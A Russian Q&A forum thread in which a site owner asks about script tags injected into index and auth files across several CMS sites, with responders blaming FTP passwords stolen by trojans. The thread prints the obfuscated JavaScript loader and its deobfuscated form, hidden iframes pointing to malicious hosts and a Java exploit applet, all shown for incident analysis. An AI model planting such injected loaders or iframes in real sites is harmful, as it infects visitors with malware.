Взлом сайтов. Вставлен произвольный код?

Добрый день!


На днях на нескольких сайтах на CodeIgniter, одном на Joomla, одном на Wordpress и на одном совсем без CMS был установлен произвольный код в файлах index.*, home.*, page.*, auth.*. Т.е. в каждый из файлов был установлен тег script с произвольным кодом. Внешне это отображалось как приглашение установить новую мультимедийную плюшку для браузера.


Собственно, сам скрипт (без! знака в слове script и без переводов строки — не умещался):
<pre><code class="javascript">&lt;sc!ript type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
wkllp=&quot;33933333339999333999339939993933
399993393993993339933939339333333999393339999339399933333
993393933999939339333933999393339933939399993333999393333
939999399333993999339939993399339333933399999333933399399
939333993393939993339399339333993939933933333399993993999
399939939339399339333999393339939333339993933393333333993
333399933333999933333999399399393333993393939939339399339
993993933339993933339993933393333333993333399933333999933
333999399399339933999339339933339399399393993393939933393
399399993999339339933933399339393999339333999393339333333
993999339939999339993993999399339939339399933993993933939
933393399393393993993339939339399939333999933933999393339
333333993933339939339399339333993393339933939399399933399
939939999939339999333393999939993399399939333999933939939
933399339393399999333999933399393393993399339993393399333
393993993939933939339333333993933939933933339999393393339
339993933399339393999333939933933399393993393339333933333
399933993999339339933399339999393393339339939333399939333
999393339993333339993933393999933939999399339933999399939
993339399933393999399939933939399339393999339339933999339
933993393999339933399399399993393999339933399399333993393
999939933339399339333393999339939393399933333993399933933
393339999933399993333939999399393393993399339993393399333
39399399393993393933999993&quot;;znanx=100;wdlgs=this;nsjvu=&quot;i&quot;+&quot;te&quot;;
vurba=116;nqcs=&quot;wr&quot;+nsjvu;for(gbcim in wdlgs){if(gbcim.length==8 && 
gbcim.charCodeAt(0)==znanx && gbcim.charCodeAt(7)==vurba){break;}}o=&quot;&quot;;
imvuf=0;qpgsu=wdlgs[gbcim];ycamh=57;while (imvuf&lt;wkllp.length){
bnehf=0;for(mkrku=0;mkrku&lt;8;mkrku++){bnehf=bnehf&lt;&lt;1;if(
wkllp.charCodeAt(imvuf+mkrku)==ycamh){bnehf++;}}imvuf=imvuf+3;
qpgsu[nqcs](String.fromCharCode(bnehf));imvuf=imvuf+5;}&lt;/sc!ript&gt;



Прямой связи CI-Joomla-WP-чистыйHTML я не вижу. Т.е. видимо, это не критическая уязвимость в каком-либо движке.


В логах апача странных запросов или даже каких-либо запросов во время модификации файла нет (+-10минут).


Подозрительно выглядят логи auth.log (настоящий username изменен; ip, с которого пришел запрос — нет):
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - USER user: no such user found from dslb-094-222-057-074.pools.arcor-ip.net [::ffff:94.222.57.74] to ::ffff:89.108.126.42:21 <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
Jan 31 08:38:45 User proftpd[12006]: Serv (dslb-094-222-057-074.pools.arcor-ip.net[::ffff:94.222.57.74]) - SECURITY VIOLATION: root login attempted. <br/>
<br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster1: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - USER webmaster2: Login successful. <br/>
Feb 1 10:56:40 User proftpd[19762]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed. <br/>
Feb 1 10:56:40 User proftpd[19764]: Serv (::ffff:193.85.168.74[::ffff:193.85.168.74]) - FTP session closed.



SSH закрыт фаерволом для всех, кроме меня.


Хочу задать вопрос — что это может быть? Как этого избежать? Какие еще логи нужны для анализа?
  • Вопрос задан
  • 9499 просмотров
Пригласить эксперта
Ответы на вопрос 13
charon
@charon
это был взлом пароля на фтп, вероятно. Очень вероятно, что на компе разработчика поселился троян, который и выдал пароль злоумышленникам.
Как защититься? Переходите на Линукс на рабочих странциях :) Другой вариант: некоторые хостеры предлагают ограничить фтп-доступ определёнными айпишниками — воспользуйтесь этой возможностью.
Ну и, конечно же, поменяйте пароль на фтп после тщательной проверки на вирусы всех компов, где этот пароль мог засветиться.
Ответ написан
Paketik
@Paketik
Проанализировав тот код, что вы мне дали в ПМ:
в браузер выкидывается:

document.write('<iframe src="http://gt32.co.cc/index.php?tp=32b260002f490aa3"frameborder="0"></iframe>');

При этом идет скачка файла gt32.co.cc/games/javaobe.jar, который определяется как Exploit.Java.176
www.virustotal.com/file-scan/report.html?id=8d240bc87e5de0abd6d5872698dd7bfa06bcfee26055e585fd7844fbf3d589a1-1296664900

анализирем html:

<applet code='prev.monoid.class' archive='./games/javaobe.jar'><param value='Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1' name="dskvnds"/>

значению dskvnds передается переменная Mjjdo##pjuAsVOsVV#wsdMdCRWuL&/W1
глянем файлик через Java Decompiler:
chaketik.pastebin.com/PXkj4Q0J

пока достал только пару переменных, я просто первый раз копаюсь в коде java ;)

      koli=exe.
      ipol=ridpmt.oi.avaj
      bsde =eman.so
      bsda = .exe
      bsdz = java.io.tmpdir
      bsdc =  os.name

интересно что на хосте открыты порты
5222/tcp open jabber Jabber instant messaging server (Protocol 1.0)
5269/tcp open jabber Jabber instant messaging server (Protocol 1.0)

продолжаю копать)
Ответ написан
Paketik
@Paketik
Деобфусцировал ваш JavaScript, вот что вышло:

<style type="text/css">
#teqdk 
{
width: 0px;height: 0px;frameborder: no;visibility: hidden;
}
</style>
<iframe id="teqdk" src="http://fwqqweerg3.co.cc/ad.jpg"></iframe>
Ответ написан
doingworld
@doingworld
Было как-то на обычном хостинге. При чём за месяц раза 4. Вроде и пароль уже не сохраняли (перед этим естественно поменяв его), но появлялась снова и снова эта хрень.
Догадки падали на хостинг-провайдера или на наших клиентов (но только странно, что у всех сразу)
Было замечено, что код добавлялся после тега <body>
Избавились только тем, что стали выводить тег <body> по частям, примерно так:
echo '<b'.'o'.'d'.'y>';

Троян тупо не находил тег и ничего не добавлял.
После смены хостинг-провайдера, проблема не повторялась, хотя и пароли сохраняли.
Ответ написан
@zzipper
Может быть вы редачили код по удаленке каким-нибудь варезным редактором?
Сам с таким сталкивался. Редактировал кучку файлов через ломаный dreamweaver и получил во всех тех файлах левые iframe'ы.
Ответ написан
deemytch
@deemytch
linux root, ruby/perl programmer, sql, backend.
У меня была точно такая история. На компах у двух из 6 пользователей, которые заливали содержимое на сайт, были трояны. Пароли к ftp были потырены из тотал коммандера. Причем пользователи с пеной на губах уверяли, что компы у них чистые, аваст запущен и «вот только что сканировал на вирусы». Помогли логи ftp и отключения логинов по одному.

А от вирусов помогает только сканирование с загрузкой с live cd.

Мораль: не верьте пользователям, даже если они не злоумышленники!
Ответ написан
@Jazzist
Грепните системные файлы на предмет даты последнего изменения.
Ответ написан
Radik_Wind
@Radik_Wind
Одназначно вы подхватили трояна. У меня также было. После чего я поменял антивирус с Dr. Web на Avast и Avast нашел трояна, которого Dr. Web пропустил. После того как подличил систему сменил все пасы с ftp и восстановил сайты из бэкапов и больше такого не было. Так что проверяте систему на наличие злых лошадок :)
Ответ написан
butteff
@butteff
Раз в тысячу лет заправляю свитер в носки
У меня было один раз такое, скрипт правда другой был, но не суть. влезли тоже через фтп.
Теперь я вдирект админ раз в неделю делаю бэкапы. Удобно потом всё восстановить если что.
Ответ написан
MiXei4
@MiXei4
Есть ещё вероятность утечки пароля от админа сайта. У нас так украли пароли сохраненные в firefox без мастерпароля. Дальше зашли в админ, залили шелл на сервер и меняли уже всё что хотели.
Так что я бы посоветовал сменить пароли и от админа и проверить сайты на наличие левых скриптов…
Ответ написан
Bartez
@Bartez
Была похожая ситуация со вставкой стороннего кода в aspx файлы.

Проверил права доступа «на запись» через хостеровскую админку. Всё было в порядке, для http – только чтение. Пожаловался хостеру, те извинились, сказали дыру закрыли.
Больше не повторялось.
На всякий случай ещё сменил FTP пароль. И проверил DEV-машину на вирусы, вирусов не было.

Вообщем жалуйтесь хостеру.
Ответ написан
@antivir
Автор, используйте ftp-клиент с мастер-паролем (например, FlashFXP с AES шифрованием). Это ничем не хуже, чем разные кипасы.
Ни одна мера не даст вам 100% гарантии: троян может снифить клавиатуру и мышь.
Ответ написан
Elendai
@Elendai
Что-то у вас до боли знакомая симптоматика.

строго рекомендую проверить апач на предмет наличия незнакомых модулей


в моем случае это был mod_chart_proxy, поставленный от рута с измененной датой создания. Спас админ ВДС-ки, который, даже не зная уже за что взяться, пол ночи ВРУЧНУЮ сверял конфиги.

Правда было немного хуже — все файлы чистые, даты создания системных модулей разумные, зайдя один раз на сайт, второй раз фрейм показывался только после чистки CCleaner'ом (он в темп писал какой-то троян .pdf).
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы